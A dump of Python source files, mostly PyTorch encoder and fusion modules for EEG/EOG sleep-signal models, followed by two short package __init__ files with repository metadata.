) self.conv_2 = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2 * size * dec, size * dec, kernel_size=5), nn.ReLU(), ) self.conv_3 = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2 * size * dec, 2 * size * dec, kernel_size=5), nn.ReLU(), ) self.avg = nn.AvgPool1d((187)) def forward(self, x): x_shape = x[0].shape flag_seqtoseq = False if len(x_shape) > 4: flag_seqtoseq = True for i in range(len(x)): x[i] = x[i].flatten(start_dim=0, end_dim=1) xeeg = x[0].squeeze(dim=1) xeog = x[1].squeeze(dim=1) xeeg = self.conv_0_eeg(xeeg) xeog = self.conv_0_eog(xeog) x = self.conv_1(torch.cat([xeeg, xeog], dim=1)) xeeg = self.conv_1_eeg(torch.cat([xeeg, x], dim=1)) xeog = self.conv_1_eog(torch.cat([xeog, x], dim=1)) x = self.conv_2(torch.cat([xeeg, xeog], dim=1)) xeeg = self.conv_2_eeg(torch.cat([xeeg, x], dim=1)) xeog = self.conv_2_eog(torch.cat([xeog, x], dim=1)) x = self.conv_3(torch.cat([xeeg, xeog], dim=1)) x = torch.cat([xeeg, x, xeog], dim=1) x = self.avg(x) if flag_seqtoseq: x = x.view([x_shape[0], x_shape[1], -1]) else: x = x.view([x_shape[0], -1]) return x class EEG_Encoder_best_SEDF_Conv1_3(nn.Module): def __init__(self, dec, _): super().__init__() size = 64 self.conv_0_eeg = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2, size * dec, kernel_size= 5), nn.ReLU(), nn.MaxPool1d(kernel_size=2), ) self.conv_0_eog = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(1, size * dec, kernel_size= 5), nn.ReLU(), nn.MaxPool1d(kernel_size=2), ) self.conv_1_eeg = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(size * dec, size * dec, kernel_size= 5), nn.ReLU(), nn.MaxPool1d(kernel_size=2), ) self.conv_1_eog = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(size * dec, size * dec, kernel_size= 5), nn.ReLU(), nn.MaxPool1d(kernel_size=2), ) self.conv_2_eeg = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2* size * dec, size * dec, kernel_size= 5), nn.ReLU(), nn.MaxPool1d(kernel_size=2), ) self.conv_2_eog = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2*size * dec, size * dec, kernel_size= 5), nn.ReLU(), nn.MaxPool1d(kernel_size=2), ) self.conv_2 = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2 * size * dec, size * dec, kernel_size= 5), nn.ReLU(), ) self.conv_3 = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2 * size * dec, 2*size * dec, kernel_size= 5), nn.ReLU(), ) self.avg = nn.AvgPool1d((187)) def forward(self, x): x_shape = x[0].shape flag_seqtoseq = False if len(x_shape)>4: flag_seqtoseq = True for i in range(len(x)): x[i] = x[i].flatten(start_dim=0, end_dim=1) xeeg = x[0].squeeze(dim=1) xeog = x[1].squeeze(dim=1) xeeg = self.conv_0_eeg(xeeg) xeog = self.conv_0_eog(xeog) xeeg = self.conv_1_eeg(xeeg) xeog = self.conv_1_eog(xeog) x = self.conv_2(torch.cat([xeeg, xeog], dim=1)) xeeg = self.conv_2_eeg(torch.cat([xeeg, x], dim=1)) xeog = self.conv_2_eog(torch.cat([xeog, x], dim=1)) x = self.conv_3(torch.cat([xeeg, xeog], dim=1)) x = torch.cat([xeeg,x,xeog],dim=1) x = self.avg(x) if flag_seqtoseq: x = x.view([x_shape[0], x_shape[1], -1]) else: x = x.view([x_shape[0],-1]) return x class EEG_Encoder_AttConv_2d(nn.Module): def __init__(self, dec): super().__init__() # self.pad1 = nn.ReflectionPad2d((2, 2, 1, 1)) # self.dy_conv_0 = nn.Conv2d(1, 64 * dec, kernel_size= (1,5), stride=1) # # nn.Conv2d(256 * dec, 256 * dec, kernel_size= (1,5) , stride=1, groups= 256 * dec), # # nn.ReLU(), # # nn.ReflectionPad2d((0, 0, 1, 1)), # # nn.Conv2d(256 * dec, 512 * dec, kernel_size=(2, 1), stride=1), # self.relu = nn.ReLU() # self.maxpool = nn.MaxPool2d(kernel_size=(1, 2)) # # self.pad0 = nn.ReflectionPad2d((2, 2, 0, 0)) # self.dy_conv_1 = nn.Conv2d(64 * dec, 128 * dec, kernel_size=(2, 5), stride=1) # self.dy_conv_2 = Dynamic_conv2d(128 * dec, 16 * dec, kernel_size=(2, 5), stride=1, K=6) # self.dy_conv_3 = Dynamic_conv2d(16 * dec, 16 * dec, kernel_size=(3, 3), stride=1, K=6) # # # nn.Conv2d(512 * dec, 512 * dec, kernel_size=(1, 5), stride=1, groups= 512 * dec), # # nn.ReLU(), # # nn.Conv2d(128 * dec, 16 * dec, kernel_size=(2, 1), stride=1), # # nn.ReLU(), # # # AttentionConv(128 * dec, 16 * dec, kernel_size= (3, 5), stride=1, padding=[2,2,1,1]), # # nn.ReLU(), # self.avg = nn.AvgPool2d((1, 56)) # self.conv2 = nn.Sequential( DynamicConv(7200*8, 3, num_heads=3), # nn.ReLU(), # nn.AvgPool2d((1, 56)) # ) # import random # self.rands = random.sample(range(8), 8) def forward(self, x): # temp1 = copy.deepcopy(x[:,:,1,:]) # temp3 = copy.deepcopy(x[:,:,3,:]) # x[:, :, 1, :] = x[:,:,4,:] # x[:, :, 3, :] = x[:,:,6,:] # x[:, :, 4, :] = temp1 # x[:, :, 6, :] = temp3 # x = self.conv(x) # x = self.pad0(x) # x = self.dy_conv_0(x) # x = self.relu(x) # x = self.maxpool(x) # x = self.pad1(x) # x = self.dy_conv_1(x) # x = self.relu(x) # x = self.maxpool(x) # x = self.pad0(x) # x = self.dy_conv_2(x) # x = self.relu(x) # x = self.pad0(x) # x = self.dy_conv_3(x) # x = self.relu(x) # # print(x.shape) # x = self.avg(x) return self.conv(x) class EEG_Encoder_MTMM(nn.Module): def __init__(self, dec): super().__init__() self.convX1 = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2, 128 * dec, kernel_size=5, stride=1), nn.ReLU(), nn.Conv1d(128 * dec, 256 * dec, kernel_size=1, stride=1), nn.ReLU(), ) self.convZ1 = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(1, 64 * dec, kernel_size=5, stride=1), nn.ReLU(), nn.Conv1d(64 * dec, 128 * dec, kernel_size=1, stride=1), nn.ReLU(), ) self.convX2 = nn.Sequential( nn.MaxPool1d(4), nn.ReflectionPad1d(1), nn.Conv1d(256 * dec, 256 * dec, kernel_size=3, stride=1), nn.ReLU(), nn.Conv1d(256 * dec, 128 * dec, kernel_size=1, stride=1), nn.ReLU(), ) self.convZ2 = nn.Sequential( nn.MaxPool1d(4), nn.ReflectionPad1d(1), nn.Conv1d(128 * dec, 128 * dec, kernel_size=3, stride=1), nn.ReLU(), nn.Conv1d(128 * dec, 64 * dec, kernel_size=1, stride=1), nn.ReLU(), ) self.convX3 = nn.Sequential( nn.MaxPool1d(4), nn.ReflectionPad1d(1), nn.Conv1d(128 * dec, 64 * dec, kernel_size=3, stride=1), nn.ReLU(), nn.Conv1d(64 * dec, 16 * dec, kernel_size=1, stride=1), nn.ReLU(), ) self.convZ3 = nn.Sequential( nn.MaxPool1d(4), nn.ReflectionPad1d(1), nn.Conv1d(64 * dec, 32 * dec, kernel_size=3, stride=1), nn.ReLU(), nn.Conv1d(32 * dec, 16 * dec, kernel_size=1, stride=1), nn.ReLU(), ) self.avg = nn.AvgPool1d(14) self.mmtm1 = MMTM(128 * dec, 128 * dec, 900) self.mmtm2 = MMTM(64 * dec, 64 * dec, 225) self.mmtm3 = MMTM(16 * dec, 16 * dec, 56) def forward(self, x): x_shape = x.shape z = x[:,1].unsqueeze(dim=1) x = x[:,0].unsqueeze(dim=1) x = torch.cat([x,z],dim=1) x = self.convX1(x) # z = self.convX1(z) # x, z = self.mmtm1(x,z) x = self.convX2(x) # z = self.convX2(z) # x, z = self.mmtm2(x,z) x = self.convX3(x) # z = self.convX3(z) # x, z = self.mmtm3(x,z) x = self.avg(x) # z = self.avg(z) # x = x.view([x_shape[0],-1]) # x = x.flatten(start_dim=1).unsqueeze(dim=1) # z = z.flatten(start_dim=1).unsqueeze(dim=1) # x = torch.cat([x,z],dim=1) return x class EEG_Encoder_MTMM_2D(nn.Module): def __init__(self, dec): super().__init__() self.convX1 = nn.Sequential( nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=(1, 1)), nn.LayerNorm(896), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.Conv2d( 64 * dec, 128 * dec, kernel_size=(2, 5), stride=(1, 1)), nn.LayerNorm(444), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.Conv2d(128 * dec, 16 * dec, kernel_size=(2, 5), stride=(1, 1)), nn.LayerNorm(218), nn.ReLU(), nn.AvgPool2d((1,56)) ) # self.convX2 = nn.Sequential( # nn.ReflectionPad2d((2, 2, 0, 0)), # nn.Conv2d(64 * dec, 128 * dec, kernel_size=(2, 5), stride=(1, 1), dilation=1), # nn.ReLU(), # nn.MaxPool2d(kernel_size=(1, 2)), # # nn.ReflectionPad2d((2, 2, 0, 0)), # # nn.Conv2d(128 * dec, 16 * dec, kernel_size=(2, 5), stride=(1, 1)), # # nn.ReLU() # ) # self.convX3 = nn.Sequential( # nn.ReflectionPad2d((2, 2, 0, 0)), # nn.Conv2d(64 * dec, 128 * dec, kernel_size=(2, 5), stride=(1, 1), dilation=(2,1)), # nn.ReLU(), # nn.MaxPool2d(kernel_size=(1, 2)), # ) # self.convX4 = nn.Sequential( # nn.ZeroPad2d((2, 2, 0, 0)), # nn.Conv2d(128 * dec, 16 * dec, kernel_size=(2, 5), stride=(1, 1)), # nn.ReLU(), # ) # self.max_pool = nn.MaxPool2d(kernel_size=(1, 2)) # # self.convX3 = nn.Sequential( # nn.ReflectionPad2d((1, 1, 2, 2)), # nn.Conv2d(64 * dec, 128 * dec, kernel_size=(4, 3), stride=(1, 1)), # nn.ReLU(), # nn.MaxPool2d(kernel_size=(1, 2)), # nn.ReflectionPad2d((1, 1, 1, 1)), # nn.Conv2d(128 * dec, 16 * dec, kernel_size=(4, 3), stride=(1, 1)), # nn.ReLU() # ) # self.convX4 = nn.Sequential( # nn.ReflectionPad2d((5, 5, 1, 1)), # nn.Conv2d(64 * dec, 128 * dec, kernel_size=(2, 11), stride=(1, 1)), # nn.ReLU(), # nn.MaxPool2d(kernel_size=(1, 2)), # nn.ReflectionPad2d((5, 5, 0, 0)), # nn.Conv2d(128 * dec, 16 * dec, kernel_size=(2, 11), stride=(1, 1)), # nn.ReLU() # ) # self.avg = nn.AvgPool2d(kernel_size=(1,225)) # self.mmtm1 = MMTM(64 * dec, 64 * dec, 450) # self.mmtm2 = MMTM(128 * dec, 128 * dec, 225) # self.mmtm3 = MMTM(16 * dec, 16 * dec, 56) # self.pos_emb = PositionalEncoder(d_model=128) # enc = nn.TransformerEncoderLayer(d_model=128 , nhead=16) # self.self_attention = nn.TransformerEncoder(encoder_layer=enc, num_layers=6) # # def forward(self, x): x_shape = x.shape # x = [x[:,i].unsqueeze(dim=1).unsqueeze(dim=1) for i in range(x_shape[1])] # x = [self.convX1(x[i]) for i in range(x_shape[1])] # x = [self.convX2(x[i]) for i in range(x_shape[1])] # x = torch.cat(x,dim=2) # z = x[:,1].unsqueeze(dim=1).unsqueeze(dim=1) # x = x[:,0].unsqueeze(dim=1).unsqueeze(dim=1) # # x = torch.cat([x,z],dim=1) # # x = x.unsqueeze(dim=1) x = self.convX1(x) # x2 = self.convX2(x) # x = self.convX3(x) # x = torch.cat([x2,x3],dim=2) # x = self.convX4(x) # x = self.max_pool(x) # z = self.convX1(z) # z = x[:,:,1,:] # x = x[:,:,0,:] # x, z = self.mmtm1(x,z) # x = torch.cat([x.unsqueeze(dim=2),z.unsqueeze(dim=2)],dim=2) # x = x.view([x_shape[0], x.shape[1], x_shape[1], -1]) # x = self.convX2(x) # x = self.max_pool(x) # z = self.convX2(z) # z = x[:, :, 1, :] # x = x[:, :, 0, :] # x, z = self.mmtm2(x, z) # x = torch.cat([x.unsqueeze(dim=2), z.unsqueeze(dim=2)], dim=2) # x = torch.cat([x,z],dim=2) # x = self.convX3(x) # x = x.squeeze() # z = self.convX3(z) # z = z.squeeze() # z = x[:, :, 1, :] # x = x[:, :, 0, :] # x, z = self.mmtm3(x, z) # x = torch.cat([x.unsqueeze(dim=2), z.unsqueeze(dim=2)], dim=2) # print(x.shape) # print(x.shape) # x = self.avg(x) # print(x.shape) # x = x.permute(0,2,1,3).flatten(start_dim=2) # x = self.pos_emb(x) # x = self.self_attention(x) # print(x.shape) # z = self.avg(z) # x = x.view([x_shape[0],-1]) # # x = x.flatten(start_dim=1) # z = z.flatten(start_dim=1).unsqueeze(dim=1) # x = torch.cat([x,z],dim=1) return x class MMTM(nn.Module): def __init__(self, c1, c2, dim): super().__init__() cz = int((c1+c2)/4) self.common_fc = nn.Linear(c1+c2, cz) self.fc_a = nn.Linear(cz, c1) self.fc_b = nn.Linear(cz, c2) # self.W = nn.Parameter(torch.randn(cz, c1+c2)) # self.W_a = nn.Parameter(torch.randn(c1, cz)) # self.W_b = nn.Parameter(torch.randn(c2, cz)) # self.b_a = nn.Parameter(torch.randn(c1)) # self.b_b = nn.Parameter(torch.randn(c2)) # self.b = nn.Parameter(torch.randn(cz)) self.avg_1 = nn.AvgPool1d(dim) self.avg_2 = nn.AvgPool1d(dim) self.sigmoid = nn.Sigmoid() self.dim = dim def forward(self, x, z): sx = self.avg_1(x).squeeze() sz = self.avg_2(z).squeeze() cat = torch.torch.cat([sx,sz],dim=1) common_space = self.common_fc(cat) ea = 2*self.sigmoid(self.fc_a(common_space)) eb = 2*self.sigmoid(self.fc_a(common_space)) dim_diff = len(x.shape) - len(ea.shape) ea = ea.view(ea.shape + (1,) * dim_diff) dim_diff = len(z.shape) - len(eb.shape) eb = eb.view(eb.shape + (1,) * dim_diff) x, z = x*ea, z*eb return x, z class EEG_Encoder_Ch_3(nn.Module): def __init__(self, dec): super().__init__() self.pad_1 = nn.ReflectionPad1d(2) self.conv1 = nn.Conv1d(1, 16*dec, kernel_size=5, stride=1) self.conv2 = nn.Conv1d(16*dec, 64*dec, kernel_size=1, stride=1) self.conv3 = nn.Conv1d(64*dec, 128*dec, kernel_size=3, stride=1) self.conv4 = nn.Conv1d(128*dec, 64*dec, kernel_size=1, stride=1) self.conv5 = nn.Conv1d(64*dec, 32*dec, kernel_size=3, stride=1) self.conv6 = nn.Conv1d(32*dec, 8*dec, kernel_size=1, stride=1) self.pad_2 = nn.ReflectionPad1d(1) # self.pad_2 = nn.ZeroPad2d((2,2,0,0)) # self.conv2 = nn.Conv1d(10*dec, 20*dec, kernel_size=5, stride=1) self.maxpool_time = nn.MaxPool1d(2) self.avg_pool = nn.AvgPool1d(14) self.relu = torch.nn.ReLU() self.conv1_bn = nn.BatchNorm1d(1) self.conv2_bn = nn.BatchNorm1d(10*dec) # self.alpha = nn.Parameter(torch.randn(10*dec, 4),requires_grad=True) # self.softmax = nn.Softmax(dim=1) def forward(self,x): x = self.relu(self.conv1(self.pad_1(x))) x = self.relu(self.conv2(x)) x = self.maxpool_time(x) x= self.relu(self.conv3(self.pad_2(x))) x = self.relu(self.conv4(x)) x = self.maxpool_time(x) x = self.relu(self.conv5(self.pad_2(x))) x = self.relu(self.conv6(x)) x = self.avg_pool(x) # x = self.maxpool_time(x) return x class EEG_Encoder_ESeq(nn.Module): def __init__(self, dec): super().__init__() self.pad_1 = nn.ReflectionPad2d((5,5,1,1)) # self.pad_1 = nn.ZeroPad2d((5,5,1,1)) self.conv1 = nn.Conv2d(1, 10*dec, kernel_size=(2, 10), stride=(1, 1)) self.pad_2 = nn.ReflectionPad2d((2,2,0,0)) # self.pad_2 = nn.ZeroPad2d((2,2,0,0)) self.conv2 = nn.Conv2d(10*dec, 20*dec, kernel_size=(1, 5), stride=(1, 1)) self.conv3 = nn.Conv2d(20*dec, 20*dec, kernel_size=(4, 1), stride=(1, 1)) self.maxpool = nn.MaxPool2d(kernel_size=(2, 3)) self.maxpool_time = nn.MaxPool2d(kernel_size=(1, 3)) self.relu = torch.nn.ReLU() self.conv1_bn = nn.BatchNorm2d(1) self.conv = nn.Sequential( nn.BatchNorm2d(1), nn.ReflectionPad2d((5, 5, 1, 1)), nn.Conv2d(1, 10 * dec, kernel_size=(2, 10), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(2, 3)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(10 * dec, 20 * dec, kernel_size=(1, 5), stride=(1, 1)), nn.ReLU(), nn.Conv2d(20 * dec, 20 * dec, kernel_size=(4, 1), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 3)), ) self.lstm = LSTM(400, hidden_size = 210, num_layers= 2, bidirectional=False, merge_func = lambda x : x.flatten(start_dim=1) ) def forward(self,x): x_shape = x.shape x = self.conv(x.flatten(start_dim=0,end_dim=1)).flatten(start_dim=1) x = self.lstm(x.view([x_shape[0],x_shape[1],x.shape[-1]])) return x class EEG_Encoder_ET(nn.Module): def __init__(self, dec): super().__init__() self.conv = nn.Sequential( nn.BatchNorm2d(1), nn.ReflectionPad2d((5, 5, 1, 1)), nn.Conv2d(1, 10 * dec, kernel_size=(2, 10), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(2, 3)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(10 * dec, 20 * dec, kernel_size=(1, 5), stride=(1, 1)), nn.ReLU(), nn.Conv2d(20 * dec, 20 * dec, kernel_size=(4, 1), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 6)), ) # self.seq = LSTM(200, hidden_size = 200, num_layers= 3, bidirectional=False, merge_func = lambda x : x.flatten(start_dim=1) ) self.seq = Transformer_Encoder(d_model=200,nhead=8,num_layers=3) def forward(self,x): x_shape = x.shape x = self.conv(x.flatten(start_dim=0,end_dim=1)).flatten(start_dim=1) x = x.view([x_shape[0],x_shape[1],x.shape[-1]]) x = self.seq(x) return x # class EEG_Encoder_EL(nn.Module): # def __init__(self, dec): # super().__init__() # # self.conv = nn.Sequential( # nn.BatchNorm2d(1), # nn.ReflectionPad2d((5, 5, 1, 1)), # nn.Conv2d(1, 10 * dec, kernel_size=(2, 10), stride=(1, 1)), # nn.ReLU(), # nn.MaxPool2d(kernel_size=(2, 3)), # nn.ReflectionPad2d((2, 2, 0, 0)), # nn.Conv2d(10 * dec, 20 * dec, kernel_size=(1, 5), stride=(1, 1)), # nn.ReLU(), # nn.Conv2d(20 * dec, 20 * dec, kernel_size=(4, 1), stride=(1, 1)), # nn.ReLU(), # nn.MaxPool2d(kernel_size=(1, 6)), # ) # self.seq = LSTM(200, hidden_size = 200, num_layers= 3, bidirectional=False, merge_func = lambda x : x.flatten(start_dim=1) ) # # self.seq = Transformer_Encoder(d_model=200,nhead=8,num_layers=3) # # def forward(self,x): # x_shape = x.shape # x = self.conv(x.flatten(start_dim=0,end_dim=1)).flatten(start_dim=1) # x = x.view([x_shape[0],x_shape[1],x.shape[-1]]) # x = self.seq(x) # return x class EEG_Encoder_ET_2(nn.Module): def __init__(self, dec): super().__init__() self.transformer = Transformer_Encoder(d_model=210,nhead=10,num_layers=3) self.fc = nn.Linear(720,210) def forward(self,x): x_shape = x.shape x = x.flatten(start_dim=2) x = self.fc(x) x = x.view([x_shape[0],x_shape[1],x.shape[-1]]) x = self.transformer(x).flatten(start_dim=1) return x class STFT_Encoder_E(nn.Module): def __init__(self, dec): super().__init__() self.conv1 = nn.Conv3d(1, 10*dec, kernel_size=(2, 5, 5), padding=(1, 1, 2), stride=(1, 1, 1)) self.conv2 = nn.Conv3d(10*dec, 20*dec, kernel_size=(1, 3, 3), padding=(0, 1, 1), stride=(1, 1, 1)) self.conv3 = nn.Conv3d(20*dec, 20*dec, kernel_size=(3, 1, 1), padding=(1, 0, 0), stride=(1, 1, 1)) self.maxpool = nn.MaxPool3d(kernel_size=(1, 2, 2)) self.maxpool_timefreq = nn.MaxPool3d(kernel_size=(4, 1, 2)) self.relu = torch.nn.ReLU() self.conv1_bn = nn.BatchNorm3d(1) def forward(self,x): x1 = self.relu(self.conv1(self.conv1_bn(x))) x2 = self.maxpool(x1) x3 = self.relu(self.conv2(x2)) x4 = self.relu(self.conv3(x3)) x5 = self.maxpool_timefreq(x4) return x5 class STFT_Encoder_ET(nn.Module): def __init__(self, dec): super().__init__() self.conv = nn.Sequential( nn.BatchNorm3d(1), nn.Conv3d(1, 10 * dec, kernel_size=(2, 5, 5), padding=(1, 1, 2), stride=(1, 1, 1)), nn.ReLU(), nn.MaxPool3d(kernel_size=(2, 2, 2)), nn.Conv3d(10 * dec, 20 * dec, kernel_size=(1, 3, 3), padding=(0, 1, 1), stride=(1, 1, 1)), nn.ReLU(), nn.Conv3d(20 * dec, 20 * dec, kernel_size=(3, 1, 1), padding=(1, 0, 0), stride=(1, 1, 1)), nn.ReLU(), nn.MaxPool3d(kernel_size=(4, 2, 1)) ) # self.seq = LSTM(200, hidden_size = 200, num_layers= 3, bidirectional=False, merge_func = lambda x : x.flatten(start_dim=1) ) self.seq = Transformer_Encoder(d_model=200,nhead=8,num_layers=3) def forward(self,x): x_shape = x.shape x = self.conv(x.flatten(start_dim=0, end_dim=1)).flatten(start_dim=1) x = x.view([x_shape[0], x_shape[1], x.shape[-1]]) x = self.seq(x) return x class STFT_Encoder_EL(nn.Module): def __init__(self, dec): super().__init__() self.conv = nn.Sequential( nn.BatchNorm3d(1), nn.Conv3d(1, 10 * dec, kernel_size=(2, 5, 5), padding=(1, 1, 2), stride=(1, 1, 1)), nn.ReLU(), nn.MaxPool3d(kernel_size=(2, 2, 2)), nn.Conv3d(10 * dec, 20 * dec, kernel_size=(1, 3, 3), padding=(0, 1, 1), stride=(1, 1, 1)), nn.ReLU(), nn.Conv3d(20 * dec, 20 * dec, kernel_size=(3, 1, 1), padding=(1, 0, 0), stride=(1, 1, 1)), nn.ReLU(), nn.MaxPool3d(kernel_size=(4, 2, 1)) ) self.seq = LSTM(200, hidden_size = 200, num_layers= 3, bidirectional=False, merge_func = lambda x : x.flatten(start_dim=1) ) # self.seq = Transformer_Encoder(d_model=200,nhead=8,num_layers=3) def forward(self,x): x_shape = x.shape x = self.conv(x.flatten(start_dim=0, end_dim=1)).flatten(start_dim=1) x = x.view([x_shape[0], x_shape[1], x.shape[-1]]) x = self.seq(x) return x class Late_Prob_Fusion(nn.Module): def __init__(self, dec): super().__init__() self.conv_0 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(128 * dec, 16 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.AvgPool2d((1, 56)) ) self.conv_1 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(128 * dec, 16 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.AvgPool2d((1, 56)) ) self.conv_2 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(128 * dec, 16 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.AvgPool2d((1, 56)) ) self.conv_3 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(128 * dec, 16 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.AvgPool2d((1, 56)) ) self.conv_4 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(128 * dec, 16 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.AvgPool2d((1, 56)) ) self.conv_5 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(128 * dec, 16 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.AvgPool2d((1, 56)) ) self.conv_6 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(128 * dec, 16 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.AvgPool2d((1, 56)) ) self.conv_7 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(128 * dec, 16 * dec, kernel_size=(1, 5), stride=1), nn.ReLU(), nn.AvgPool2d((1, 56)) ) import random self.rands = random.sample(range(8), 8) # self.rands = [7,0,1,2,3,4,5,6,7,1] print("Our random shuffle is:") print(self.rands) def _shuffle_channels(self,x): return x[:,:,self.rands,:] def forward(self, x): m = [] m.append(self.conv_0(x[:,:,0,:].unsqueeze(dim=2))) m.append(self.conv_1(x[:,:,1,:].unsqueeze(dim=2))) m.append(self.conv_2(x[:,:,2,:].unsqueeze(dim=2))) m.append(self.conv_3(x[:,:,3,:].unsqueeze(dim=2))) m.append(self.conv_4(x[:,:,4,:].unsqueeze(dim=2))) m.append(self.conv_5(x[:,:,5,:].unsqueeze(dim=2))) m.append(self.conv_6(x[:,:,6,:].unsqueeze(dim=2))) m.append(self.conv_7(x[:,:,7,:].unsqueeze(dim=2))) x = torch.cat(m,dim=2).permute(0,2,1,3) # x = self._shuffle_channels(x) return x

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4467fbed5f74f478f0a4683bc0b6318e0e4404aa

161

py

Python

component/widget/__init__.py

sepal-contrib/alert_module

fa1b45308bb04da5269177e5a05f37f4cf6add1e

[ "MIT" ]

null

component/widget/__init__.py

sepal-contrib/alert_module

fa1b45308bb04da5269177e5a05f37f4cf6add1e

[ "MIT" ]

3

2020-09-21T11:42:26.000Z

2020-10-07T16:19:20.000Z

component/widget/__init__.py

12rambau/alert_module

fa1b45308bb04da5269177e5a05f37f4cf6add1e

[ "MIT" ]

null

from .alert_map import * from .date_line import * from .dynamic_select import * from .map_btn import * from .surface_select import * from .planet_param import *

23

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920bc20ba4c0a70a07b2af9d52e18cd64b22f5a4

345

py

Python

explanator/__init__.py

hatbot-team/hatbot

e7fea42b5431cc3e93d9e484c5bb5232d8f2e981

[ "MIT" ]

1

2016-05-26T08:18:36.000Z

explanator/__init__.py

hatbot-team/hatbot

e7fea42b5431cc3e93d9e484c5bb5232d8f2e981

[ "MIT" ]

null

explanator/__init__.py

hatbot-team/hatbot

e7fea42b5431cc3e93d9e484c5bb5232d8f2e981

[ "MIT" ]

null

__author__ = 'moskupols' __all__ = [ 'explain', 'get_explainable_words', 'get_random_word', 'explain_list', 'ALL_SOURCES_NAMES_SET', 'SELECTION_LEVELS', ] from ._explanator import \ explain, \ get_explainable_words, \ get_random_word, \ explain_list, \ ALL_SOURCES_NAMES_SET, \ SELECTION_LEVELS

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null

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1

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null

0

8

a6139c42fb15ac240784707c46563aa5de82ac7e

3,414

py

Python

runPy/test.py

